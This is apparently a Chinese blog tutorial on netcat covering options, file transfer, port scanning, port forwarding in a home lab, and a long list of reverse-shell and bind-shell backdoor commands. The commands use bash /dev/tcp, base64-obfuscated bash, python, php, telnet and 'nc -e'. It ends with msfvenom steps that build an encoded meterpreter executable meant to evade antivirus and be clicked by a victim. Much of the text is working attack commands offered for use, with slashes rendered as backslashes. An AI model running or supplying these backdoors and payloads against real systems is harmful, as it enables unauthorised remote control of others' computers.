netcat使用及反弹shell
NetCat
Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能。总之功能强大,可以用一句较为风趣的话来描述NC的强大——“你的想象力是局限NC的瓶颈”。
参数
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-L 使用监听模式,客户端失去连接,服务器依然保持监听(低版本没有)
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 乱数指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;隐藏自己
-u 使用UDP传输协议;
-v 显示指令执行过程;
-w <超时秒数> 设置等待连线的时间;
-z 使用0输入\输出模式,只在扫描通信端口时使用。
-d nc命令在后台执行(退出cmd窗口仍在执行,nc1.11以上版本才有)
-e 执行某个程序,常用于后门建立(有的版本为了安全删除这个选项)
简单通讯
创建一个服务器端
nc -l -p port

创建一个客户端
nc target_ip target_port -w3
-w3设置等待连线的时间3s,防止未连接上服务器的“假死”现象

返回shell使用(建立后门)
windows
监听型后门
服务器
nc -l -p port -e cmd.exe #被连接上会返回一个shell

客户端
nc target_ip target_port

连接型后门
服务器
nc -l -p 4444
客户端
我这里使用nc连接不上服务器,要用nc64
nc64 target_ip target_port -e cmd.exe


linux
监听型后门
nc -l -p 4444 -e \bin\bash


连接型后门
nc tarip tarport -e \bin\bash


解决乱码
chcp 65001

文件传输
服务器接受客户端传来的文件
服务器
nc -l -p localport > outfile

客户端
nc target_ip target_port < infile


客户端接受服务器传来的文件
服务器
nc -l -p localport < infile
客户端
nc target_ip target_port > outfile
端口扫描
扫描指定主机的某个端口段的端口开放信息
-z 使用0输入\输出模式,只在扫描通信端口时使用。
-n不对目标机器进行DNS解析
-w <超时秒数> 设置等待连线的时间
nc -vv -n -z -w2 Target_IP Target_Port_Start - Target_Port_End
windows

linux

扫描指定主机的某个UDP端口段,并且返回端口信息
nc -vv -n -z -u Target_IP Target_Port_Start - Target_Port_End
banner信息抓取
echo "" | nc -vv -n -w1 target_ip Target_Port_Start - Target_Port_End
连接转发(端口转发)
有时候外网直接访问不到内网主机,这时要借助一台介于外网与内网之间的主机,进行访问

实验环境
kali 192.168.31.80 (外网)
windows 192.168.31.242(外网)192.168.208.1 (内网)
ubuntu 192.168.208.132(内网)
kaliping不通ubuntu

windows可以ping通ubuntu

正常情况
ubuntu开启端口监听

kali尝试连接

连接失败
进行端口转发
使用bat方法
ubuntu开启4444端口监听

windows创建一个relay.bat文件
这里我在e盘下创建了一个relay.bat,内容如下

然后开启4445端口监听

kali连接windows4445端口

ubuntu收到kali发来的信息

这样就完成了一次端口转发
使用后门方法
ubuntu

windows

kali

连接上windows的shell之后,再使用nc连接内网的ubuntu

ubuntu接受到kali信息

Netcat反弹shell
攻击者只需要监听本地端口,控制其他主机连接自己即可

Linux反弹shell
bash反弹
bash -i >& \dev\tcp\[ip\port 0>&1
命令含义
https:\blog.csdn.net\weixin_43486390\article\details\111385962
举例
windows 开启4444端口监听
nc -lvp 4444

kali
bash -i >& \dev\tcp\192.168.31.242\4444 0>&1

报错,因为zsh不能识别该命令,我们要先使用bash,再输入此命令


bash变型
exec 5<>\dev\tcp\192.168.31.242\4444;cat <&5 | while read line; do $line 2>&5 >&5;done
exec \bin\sh 0<\dev\tcp\192.168.31.242\4444 1>&0 2>&0
不支持nc -e
kali
nc 192.168.31.242 4444| \bin\bash |nc 192.168.31.242 4445
windows
开启两个端口的监听(4444,4445)

在4444端口输入的命令,4445端口输出在屏幕上
bash base64
正常
bas8h -i >& \dev\tcp\192.168.31.242\4444 0>&1
base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjI0Mi80NDQ0IDA+JjE=
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjI0Mi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
awk反弹

telnet反弹
telnet 192.168.31.242 4444 | \bin\bash | telnet 192.168.31.242 4445

python反弹
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.242",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["\bin\bash","-i"]);'

php反弹
php -r '$sock=fsockopen("192.168.31.242",4444);exec("\bin\bash -i <&3 >&3 2>&3");'

Windows反弹shell
nc反弹
nc … -e cmd.exe
metasploit反弹shell
kali
# 制作反弹shell
msfvenom -p windows\meterpreter\reverse_tcp -e x86\shikata_ga_nai -i 5 LHOST=myip LPORT=4444 -f exe > \tmp\muma1.exe
# 监听本地端口
use exploit\multi\handler
set payload windows\meterpreter\reverse_tcp
set lhost xxx
run
-e –encoder [encoder] 指定需要使用的encoder(编码器)
-f –format < format> 指定输出格式
x86\shikata_ga_nai 我们所选择的编码格式(用于免杀)
-i 5 –iterations < count> 指定payload的编码次数为5次(次数越多免杀的概率越大)
受害者
点击muma1.exe文件
攻击者得到反弹shell